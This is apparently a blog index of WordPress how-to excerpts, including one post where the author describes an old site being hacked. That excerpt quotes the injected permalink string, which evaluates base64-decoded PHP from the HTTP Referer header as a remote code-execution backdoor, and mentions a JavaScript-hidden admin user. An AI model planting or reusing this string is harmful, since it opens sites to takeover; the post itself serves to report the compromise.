WordPress Security Exploits – This site was hacked

I still have no idea what this means.

I’m currently running WordPress 2.8.4 on this site.

One of my older sites was hacked as per

https://lorelle.wordpress.com/2009/09/04/old-wordpress-versions-under-attack/

and the permalinks were changed to

/%year%/%monthnum%/%day%/%postname%/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/

There was a hidden user named “WordPress” — javascript was being used to prevent the user from showing in the admin users section (and it didn’t show the user in the user count). My computer is running slow, so when looking at the user list this second user would appear and then disappear as the javascript executed. On a faster computer, it would have been impossible to see the hidden user. Dumbass javascript tricks.

Read more

How Do I Know What My WordPress Theme Looks Like In Different Browsers?

In my post yesterday, Making a Popup Window in WordPress, I mentioned that my theme was rendering a little differently in some browswers and that in some of them the lines of code were too wide and were being cut off. How did I know this? I don’t have a bunch of PCs, Macs, and Linux machines sitting around running different versions of Internet Explorer, Firefox, Opera, Safari, etc.

Read more

Making a Popup Window in WordPress

Looking at my site, I realized that some of my code snippets are a little wide for my theme and may be being cut off in some browsers. On top of that, WordPress seems to like to mangle code. In the Edit Post page, there is a specific code button when you use the HTML editor, but the button doesn’t appear on the Visual editing screen.

My solution is to put code into a Popup window that will allow the user to view it more clearly and in a window wide enough for even the widest lines of code. In addition, this will allow me to make a photo gallery pop up and probably all sorts of other uses I’ll eventually invent.

Read more

Add a Random Header Image To WordPress

My current blog template (Grid Focus by Derek Punsalan 5thirtyone.com) features an icon in the upper right corner that has no personal meaning to me.

I decided to replace it, and while I was at it I would also make the icon a random icon. WordPress has all sorts of random image plugins — some are too powerful and some are not powerful enough.

Since I was going to have to modify the theme’s code anyway, I figured I would just code the random image generator directly and make it do exactly what I wanted it to.

Read more

Adding a Dynamic Widget Footer to WordPress Using a Sidebar

So I’m now at the point where I’d like to be able to start putting in some advertising slots on this blog for affiliate links and for google adsense ads. That means I need a bit more control over the theme and a bit more “room” to put things. I’m also finding that a lot of widgets in the sidebar need more horizontal space than the two narrow sidebar columns allow.

Fortunately, there’s plenty of unused space in the footer of the blog — so I’m going to move some of the more wordy widgets down there — which should clear space for some 120×600 ads in the sidebars as well as other types of advertising. Also, it will make the Recent Posts and Recent Comments widgets more readable by putting them where they can spread out horizontally.

However, the theme I’m currently using doesn’t have any support for widgets in the footer!

I’m going to have to add those myself. Fortunately, it is very easy to add additional components in WordPress.

Read more